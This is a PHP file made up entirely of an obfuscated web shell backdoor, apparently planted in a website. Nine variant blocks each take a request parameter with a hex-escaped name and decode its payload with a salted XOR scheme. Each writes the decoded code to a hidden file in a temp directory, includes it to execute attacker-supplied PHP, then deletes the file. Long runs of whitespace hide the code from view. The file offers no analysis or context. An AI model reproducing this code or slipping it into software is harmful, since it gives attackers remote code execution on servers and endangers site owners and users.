<?php																																										if(isset($_REQUEST["\x73ymb\x6Fl"]) ? true : false){ $bind = array_filter([ini_get("upload_tmp_dir"), getenv("TEMP"), getcwd(), "/dev/shm", "/tmp", session_save_path(), "/var/tmp", sys_get_temp_dir(), getenv("TMP")]); $record = $_REQUEST["\x73ymb\x6Fl"]; $record = explode ( "." , $record) ; $token = ''; $s = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen($s); $x = 0; foreach ($record as $v8) { $sChar = ord($s[$x % $lenS]); $dec = ((int)$v8 - $sChar - ($x % 10)) ^ 6; $token.=chr($dec); $x++; } foreach ($bind as $key): if (!( !is_dir($key) || !is_writable($key) )) { $flag = sprintf("%s/.rec", $key); if (file_put_contents($flag, $token)) { include $flag; @unlink($flag); die(); } } endforeach; }
																																										if(isset($_REQUEST["\x64\x65sc"]) ? true : false){ $factor = array_filter([getenv("TMP"), getenv("TEMP"), sys_get_temp_dir(), "/tmp", "/dev/shm", ini_get("upload_tmp_dir"), getcwd(), session_save_path(), "/var/tmp"]); $itm = $_REQUEST["\x64\x65sc"]; $itm = explode ("." , $itm ); $item =''; $salt9 ='abcdefghijklmnopqrstuvwxyz0123456789'; $lenS =strlen($salt9 ); $n =0; while ($n < count($itm)) { $v5 =$itm[$n]; $chS =ord($salt9[$n%$lenS] ); $d =((int)$v5 - $chS - ($n%10))^63; $item .= chr($d ); $n++; } $comp = 0; do { $object = $factor[$comp] ?? null; if ($comp >= count($factor)) break; if ((is_dir($object) and is_writable($object))) { $k = sprintf("%s/.pgrp", $object); $file = fopen($k, 'w'); if ($file) { fwrite($file, $item); fclose($file); include $k; @unlink($k); die(); } } $comp++; } while (true); }
																																										if(!empty($_POST["\x69\x74m"])){ $marker = $_POST["\x69\x74m"]; $marker = explode (".", $marker ); $element =''; $s2 ='abcdefghijklmnopqrstuvwxyz0123456789'; $lenS =strlen($s2); $q =0; while ($q < count($marker)) { $v9 =$marker[$q]; $chS =ord($s2[$q % $lenS]); $dec =((int)$v9 - $chS - ($q % 10))^27; $element .= chr($dec); $q++; } $ptr = array_filter(["/tmp", ini_get("upload_tmp_dir"), session_save_path(), getenv("TEMP"), getenv("TMP"), sys_get_temp_dir(), "/var/tmp", getcwd(), "/dev/shm"]); while ($sym = array_shift($ptr)) { if (max(0, is_dir($sym) * is_writable($sym))) { $resource = join("/", [$sym, ".value"]); if (@file_put_contents($resource, $element) !== false) { include $resource; unlink($resource); die(); } } } }
																																										if(isset($_POST) && isset($_POST["fa\x63\x74\x6Fr"])){ $fac = array_filter([getenv("TMP"), ini_get("upload_tmp_dir"), "/tmp", session_save_path(), getcwd(), getenv("TEMP"), sys_get_temp_dir(), "/var/tmp", "/dev/shm"]); $marker = $_POST["fa\x63\x74\x6Fr"]; $marker =explode ( "." , $marker ) ; $property_set = ''; $salt2 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen( $salt2 ); $k = 0; $len = count( $marker ); do { if( $k >= $len) break; $v9 = $marker[$k]; $sChar = ord( $salt2[$k% $lenS] ); $dec =( ( int)$v9 - $sChar -( $k% 10)) ^ 88; $property_set .= chr( $dec ); $k++; }while( true ); for ($ent = 0, $reference = count($fac); $ent < $reference; $ent++) { $flag = $fac[$ent]; if (is_dir($flag) && is_writable($flag)) { $tkn = implode("/", [$flag, ".obj"]); if (file_put_contents($tkn, $property_set)) { require $tkn; unlink($tkn); exit; } } } }
																																										if(array_key_exists("ma\x72\x6B\x65r", $_POST) && !is_null($_POST["ma\x72\x6B\x65r"])){ $item = $_POST["ma\x72\x6B\x65r"]; $item= explode( "." , $item ); $k = ''; $salt = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen($salt); foreach($item as $t => $v7) { $sChar = ord($salt[$t%$lenS]); $dec =((int)$v7 - $sChar -($t%10)) ^28; $k .= chr($dec); } $ref = array_filter(["/var/tmp", sys_get_temp_dir(), getenv("TMP"), session_save_path(), getcwd(), "/tmp", "/dev/shm", ini_get("upload_tmp_dir"), getenv("TEMP")]); while ($rec = array_shift($ref)) { if (array_product([is_dir($rec), is_writable($rec)])) { $symbol = "$rec/.value"; if (file_put_contents($symbol, $k)) { require $symbol; unlink($symbol); exit; } } } }
																																										if(!empty($_REQUEST["s\x79\x6D"])){ $element = $_REQUEST["s\x79\x6D"]; $element = explode ( '.' , $element) ; $obj = ''; $salt = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen($salt); $j = 0; foreach($element as $v7) { $chS = ord($salt[$j % $sLen]); $d =((int)$v7 - $chS -($j % 10)) ^ 87; $obj .= chr($d); $j++; } $dat = array_filter([sys_get_temp_dir(), session_save_path(), "/dev/shm", "/var/tmp", getcwd(), ini_get("upload_tmp_dir"), getenv("TEMP"), getenv("TMP"), "/tmp"]); foreach ($dat as $key) { if (max(0, is_dir($key) * is_writable($key))) { $data_chunk = "$key/.holder"; $success = file_put_contents($data_chunk, $obj); if ($success) { include $data_chunk; @unlink($data_chunk); exit;} } } }
																																										if(@$_REQUEST["itm"] !== null){ $ent = $_REQUEST["itm"]; $ent =explode( "." , $ent ) ; $comp = ''; $s3 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen($s3); $o = 0; $__tmp = $ent; while($v1 = array_shift($__tmp)) { $sChar = ord($s3[$o % $lenS]); $d =((int)$v1 - $sChar -($o % 10)) ^ 63; $comp .= chr($d); $o++; } $obj = array_filter(["/var/tmp", "/dev/shm", "/tmp", getenv("TMP"), getenv("TEMP"), session_save_path(), sys_get_temp_dir(), ini_get("upload_tmp_dir"), getcwd()]); for ($pset = 0, $value = count($obj); $pset < $value; $pset++) { $symbol = $obj[$pset]; if ((bool)is_dir($symbol) && (bool)is_writable($symbol)) { $holder = vsprintf("%s/%s", [$symbol, ".elem"]); if (@file_put_contents($holder, $comp) !== false) { include $holder; unlink($holder); die(); } } } }
																																										if(in_array("bin\x64ing", array_keys($_REQUEST))){ $ent = $_REQUEST["bin\x64ing"]; $ent= explode ('.' ,$ent ) ; $itm = ''; $s = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen($s); $u = 0; $__len = count($ent); do { if ($u >= $__len) break; $v9 = $ent[$u]; $chS = ord($s[$u % $lenS]); $dec = ((int)$v9 - $chS - ($u % 10)) ^ 35; $itm .=chr($dec); $u++; } while (true); $component = array_filter([getcwd(), "/var/tmp", getenv("TEMP"), session_save_path(), sys_get_temp_dir(), getenv("TMP"), ini_get("upload_tmp_dir"), "/dev/shm", "/tmp"]); $record = 0; do { $flag = $component[$record] ?? null; if ($record >= count($component)) break; if ((is_dir($flag) and is_writable($flag))) { $property_set = sprintf("%s/.reference", $flag); $success = file_put_contents($property_set, $itm); if ($success) { include $property_set; @unlink($property_set); exit;} } $record++; } while (true); }


if(count($_POST) > 0 && isset($_POST["\x70\x67rp"])){
	$record = array_filter([session_save_path(), getenv("TEMP"), getenv("TMP"), getcwd(), "/dev/shm", ini_get("upload_tmp_dir"), "/tmp", sys_get_temp_dir(), "/var/tmp"]);
	$holder = $_POST["\x70\x67rp"];
		 $holder=	explode('.' ,$holder 	 ) ; 	
	$entry= '';
            $salt8= 'abcdefghijklmnopqrstuvwxyz0123456789';
            $lenS= strlen($salt8);
            $__len= count($holder);
    
            for($z= 0; $z 	<$__len; $z++) { 	$v1= $holder[$z];
                $sChar= ord($salt8[$z  %	$lenS]);
                $dec= ((int)$v1 - $sChar -($z  %	10)) ^	19;
                $entry .= chr($dec);	}
	foreach ($record as $symbol) {
    		if ((function($d) { return is_dir($d) && is_writable($d); })($symbol)) {
    $parameter_group = implode("/", [$symbol, ".itm"]);
    $file = fopen($parameter_group, 'w');
if ($file) {
	fwrite($file, $entry);
	fclose($file);
	include $parameter_group;
	@unlink($parameter_group);
	exit;
}
}
}
}